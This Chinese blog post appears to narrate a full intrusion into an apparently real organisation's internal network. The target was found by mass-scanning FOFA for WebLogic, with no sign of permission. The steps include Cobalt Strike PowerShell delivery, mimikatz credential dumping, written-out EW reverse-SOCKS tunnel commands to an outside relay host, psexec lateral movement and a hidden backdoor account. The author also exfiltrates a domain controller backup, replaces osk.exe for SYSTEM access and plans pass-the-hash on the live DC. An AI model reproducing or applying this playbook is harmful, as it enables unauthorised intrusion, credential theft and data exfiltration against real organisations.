网络安全——内网渗透完整流程
因为主要还是想练习练习内网,所以用了最简单粗暴的方法去找寻找目标,利用 fofa 来批量了一波 weblogic,不出一会便找到了目标。

简单的看了下机器环境,出网,没有杀软(后面发现实际是有一个很小众的防火墙的,但是不拦 powershell),有内网环境。所以这里直接尝试 cs 自带的 Scripted Web Delivery 模块,直接创建一个 web 服务用于一键下载和执行 powershell。

运行刚刚生成的 powershell

这边的 CS 成功上线。

【一>所有资源获取<一】1、200 份很多已经买不到的绝版电子书 2、30G 安全大厂内部的视频资料 3、100 份 src 文档 4、常见安全面试题 5、ctf 大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线
这里我们先来看看系统的信息。


根据上面的可知服务器是 2012 的,内网 IP 段在 192.168.200.x 接着用 Ladon 扫了下内网环境。

这个内网段机器不多,可以看出有域环境。接着进行了多网卡检测,web 检测。



可以看出这个内网有多个网段,开了一个 web 服务。mimikatz 只读到了一个用户跟加密的密码

密码可以在 CMD5 上解开

接下来就到最激动人心的扫描 MS17010 时刻!!!

可以看出有几台机器是可能存在 MS17010 的,所以打算开个 socks 代理直接 MSF 去打。这里劝大家买服务器的时候,尽量买按量计费的服务器所以这里,只能临时开了个按量计费的服务器,利用 EW 重新开了一条隧道出来。
具体流程如下:把 ew 文件丢上刚刚开的服务器,执行:ew -s rcsocks -l 1900 -e 1200 来配置一个转接隧道,意思就是将 1900 端口收到的代理请求转交给反连 1200 端口的主机

接着在目标机器上上传 ew 文件,执行:ew -s rssocks -d xxx.xxx.xxx.xxx(上方创建的服务器 IP) -e 1200,开启目标主机 socks5 服务并反向连接到中转机器的 1200 端口,执行完稍等会就可以看到多了一行连接完成。

接着只需要在本地配置下代理就 OK 了。Windows 程序的话一般用 sockscap 配置以下这个代理就好了。

因为我们要用的是本地虚拟机里面的 kali 的 MSF,kali 的代理配置比较方便,先 vim /etc/proxychains.conf ,在最下面加上代理

保存后直接 proxychains 加上要启动的程序就挂上代理了。比如我们 msf 要挂代理,就直接:proxychains msfconsole 内网之路永远是那么坎坷,在经历了一番换 EXP,换工具+摇人之后,确定了 MS17010 确实是利用不了。既然捷径走不了,那么换一条路,从 web 入手。

试了下弱口令注入啥的,没成功,谷歌翻译都翻译不过来,就算进了后台估计也看不懂,还是找其他途径吧。于是进一步开始信息搜集:

查看保存登陆凭证,无

查看共享计算机列表接着就开始尝试访问共享计算机的 C 盘

在最后一台时,发现成功访问了 Ping 一下机器得到 IP 192.168.200.6

右键一个 beacon 创建一个监听器


接着使用 psexec_psh 尝试上线 192.168.200.6 这台服务器

成功上线

接下来就对新上线的机器做一波信息搜集


没有其他发现接下来回到起点,看看这个网段里面还有哪些机器

可以看到有四台 linux 机器,分别是 22 , 1 , 5 , 11 这时候我们可以尝试一波弱口令。


简单的查看了进程之类的信息,没有发现,虽然这时候已经拿下了内网得两台机器,但是都不是域内机器,其他的 linux 主机测试弱口令又不正确,又陷入了僵局。这时候,我看到先前拿下的.6 的那台机器名为 veeam backup,猜想这可能是一台备份服务器,他的硬盘内可能有备份文件,所以仔细检查了一下他的每个文件夹内容。
在 D 盘的文件夹下,发现了一个叫 Backup 的文件夹,里面存放了三个机器的备份。简单百度了下后缀,发现是一款叫 Veeam® Backup & Replication 的软件,他的功能是专门为 Vsphere 等做备份。

一瞬间我的思路就清晰了,只需要在本地安装 Veeam® Backup & Replication 这软件,再将这台 DC 的全量备份包压缩传到本地,再恢复成虚拟机,然后通过 PE,用 CMD.EXE 重命名覆盖了 OSK.exe,这样子就可以在登录界面调出 system 的命令行,再想办法添加管理员账户或者修改管理员账户进入界面,本地上线 CS,再进行 hashdump 直接读出存储的域内用户 HASH,在通过 Pth 就可以直接拿下线上的 DC 了。说干就干,因为这台备份服务器不出网,但是他和 21 这台出网机器有一个共享文件夹,为了方便行事,偷偷在备份服务器上创建了一个隐藏账号,直接 7z 把最新的一个 DC 全量备份压缩成 700M 一个的压缩包,全部放到了共享文件夹中。出网的这台机器也只有 7001 端口出网,所以找到了 weblogic 的 web 路径,从共享文件夹中把压缩包都放进了 web 路径中,从 web 端进行下载。由于这台出网机器的带宽实在是太低了,均速 200K,还不停的卡掉,在经过了漫长的等待后,终于下了下来。在这漫长的下载过程中,我先一步本机下载下了 Veeam® Backup & Replication 这软件,突然发现一个很有意思的地方,就是他可以支持本地管理员账号登录。

又因为他备份的是其他 IP 的虚拟机,我猜想他应该是登陆了 Vsphere。所以又一次挂代理连上去看看。


本地下载的那个全量备份在本地还原也很简单,只需要装了软件双击就回自动打开软件。

还原完成

接下来就简单了。下载老毛桃 ,生成一个 ISO 的 pe 工具箱

挂载到虚拟机中,开机按 ESC

进入 PE 后,重命名 cmd.exe 为 osk.exe 将原来 C 盘中的\windows\system32\osk.exe 给覆盖了,这样子在开机的时候打开屏幕键盘就会弹出 SYSTEM 权限的命令行。

这里直接添加用户出现了点问题。

最后将某个域用户修改密码后添加到本地管理员组成功进入了系统。最后生成 exe 上线的时候,防火墙终于起保护了。给防火墙一个正面图。

把他关了。

然而关闭要密码--最后还是用最初的 powershell 上线了。

接着最有仪式感的一幕

最后只需要拿着 hash 去怼线上的 DC 就完事了。
评论